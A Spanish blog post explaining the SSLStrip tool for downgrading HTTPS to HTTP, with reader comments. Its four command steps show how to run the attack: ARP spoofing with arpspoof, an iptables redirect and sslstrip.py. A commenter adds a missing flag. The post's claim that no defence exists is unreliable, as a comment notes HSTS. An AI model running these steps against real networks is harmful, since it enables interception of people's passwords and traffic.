SSLStrip: espiando tráfico SSL

Moxie Marlinspike presentó en el Black Hat 2009 una ingeniosa herramienta llamada SSLStrip, dirigida a hacer creer al usuario que se encuentra en un sitio web con cifrado SSL cuando en realidad todos los datos están siendo transmitidos en abierto. Adicionalmente, SSLStrip también engaña al servidor web, cuyo presunto cifrado queda anulado aunque el sitio sigue comportándose como si funcionara.

Hasta donde pude averiguar, este método sigue funcionando de lo más bien. La amenaza sigue ahí y estamos todos expuestos. Buahaha…

Empecemos por lo básico: ¿qué demonios es SSL?

Para aquellos que no lo saben, Secure Sockets Layer (SSL; protocolo de capa de conexión segura) y su sucesor Transport Layer Security (TLS; seguridad de la capa de transporte) son protocolos criptográficos que proporcionan comunicaciones seguras por una red, comúnmente Internet.

SSL se ejecuta en una capa entre los protocolos de aplicación como HTTP, SMTP, NNTP y sobre el protocolo de transporte TCP, que forma parte de la familia de protocolos TCP/IP. Aunque pueda proporcionar seguridad a cualquier protocolo que use conexiones de confianza (tal como TCP), se usa en la mayoría de los casos junto a HTTP para formar HTTPS. HTTPS es usado para asegurar páginas World Wide Web para aplicaciones de comercio electrónico, utilizando certificados de clave pública para verificar la identidad de los extremos.

SSLStrip… ¿volvió el porno a Usemos Linux?

El funcionamiento de SSLStrip es simple, reemplaza todas las peticiones HTTPS de una página web por HTTP y luego hace un MITM (ataque “Man in the Middle“) entre el servidor y el cliente. La idea es que la víctima y el agresor se comuniquen a través de HTTP, mientras que el atacante y el servidor, se comunican a través de HTTPS con el certificado del servidor. Por lo tanto, el atacante es capaz de ver todo el tráfico en texto plano de la víctima.

A continuación les dejo vídeo, donde podemos apreciar en funcionamiento de esta excelente herramienta.

Cómo usar SSLStrip

1.- Configurar IP Forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

2.- Realizando ataque ARP MITM entre las 2 maquinas:

arpspoof -i eth0 -t VICTIMA HOST

3.- Redireccionar trafico con iptables:

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 8080

4.- Iniciar SSLStrip en el puerto utilizado

python sslstrip.py -w archivo

¿Cómo protegerte de ataques de SSLStrip?

Esto es lo más hermoso y terrible: no se puede.

De acuerdo a lo demostrado por Moxie (su video de poco más de 69 minutos no tiene desperdicio) la única probable solución a todo esto es encriptar todas las conexiones HTTP, o sea, que el “HTTP” común y silvestre sea reemplazado en todas sus instancias por “HTTPS”, sin importar página o servicio. Tal y como Moxie lo dijo, “un protocolo seguro que depende de un protocolo inseguro, es un problema“.

¿Qué podés hacer como usuario para al menos reducir las chances de ser atacado? Verificar de manera paranoica que haya un “https” delante de cada página que sea comprometida, o en el caso de los usuarios de Firefox instalar NoScript y forzar conexiones HTTPS en todas las páginas. Y aún así, esto sólo minimizaría el efecto, no lo anularía.

Fuente: Dragonjar & Moxie

¡Gracias Francisco x pasarnos el dato!


7 comentarios

  1.   Guido Ignacio Ignacio dijo

    Mmmm… respecto a https que te proteja del ataje, es relativo.

    No se hasta que punto los ataques mitm no son exitosos contra conexiones SSL, ataques mitm trabajan sobre la capa de enlace mientras que ssl en la capa de transporte, por lo que captación de datos es posible.

    Hace mucho estuve haciendo pruebas para un trabajo de un curso que hice con mitm en mi red local y es posible tomar datos enviados por SSL, prueben con hotmail (que es ssl) y te devuelve el pass sin problemas. Simplemente piensen el atacante se hace pasar por la puerta de enlace y recibe toda la info de la victima.

    La única forma de saber que tu info viaja segura es usando un tunel ssh.

    Yo lo que hago si me siento algo perseguido, es conectarme a mi servidor mediante ssh, hacer un tunel por algun puerto local, abrir los sockets y utilizar mi conexión de internet de mi casa para navegar estando en el equipo ajeno.

    Y como bien dijeron, no hay forma de evitar este ataque, salvo asegurar nuestro dhcp por mac y segurizar quien se conecta….

  2.   PabLorD dijo

    hola, en el comando 4 te faltó “-l 8080”

  3.   Usemos Linux dijo

    ok. gracias!

  4.   Martin Farias dijo

    Para ser mas especificos, el punto donde ya no te puedes proteger es una vez atrapado en el ataque MitM. Hay diversas maneras de protegerte de ese ataque aunque es dificil por que tiene variantes.

    EDIT:

    Valga la actualizacion del comentario!, me entere que al menos desde enero de 2012 los exploradores chrome y firefox (no me extrañaria que a estas alturas sean todos) usan cabeceras HSTS. Segun se dice dicha cabecera resuelve la vulnerabilidad informando al nevegador que “las conexiones” deben usar siempre SSL despues de un solo primer intento de conexion con un sitio (esto mantiene la vulnerabilidad disminuidamente presente). Mas aun, que Chrome aumenta la seguridad agregando una lista de sitios HSTS (probablemente lo mas popular de la red). fuente: http://forums.hak5.org/index.php?/topic/25322-sslstrip-not-working-with-gmail-twitter/

  5.   HacKan & CuBa co. dijo

    Muy bueno, me parece super genial. La idea es realmente sencilla 😀

  6.   chambertuX dijo

    Sabe alguien si arpspoof se puede utilizar cuando tenemos mas de un host en la red?. Gracias.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *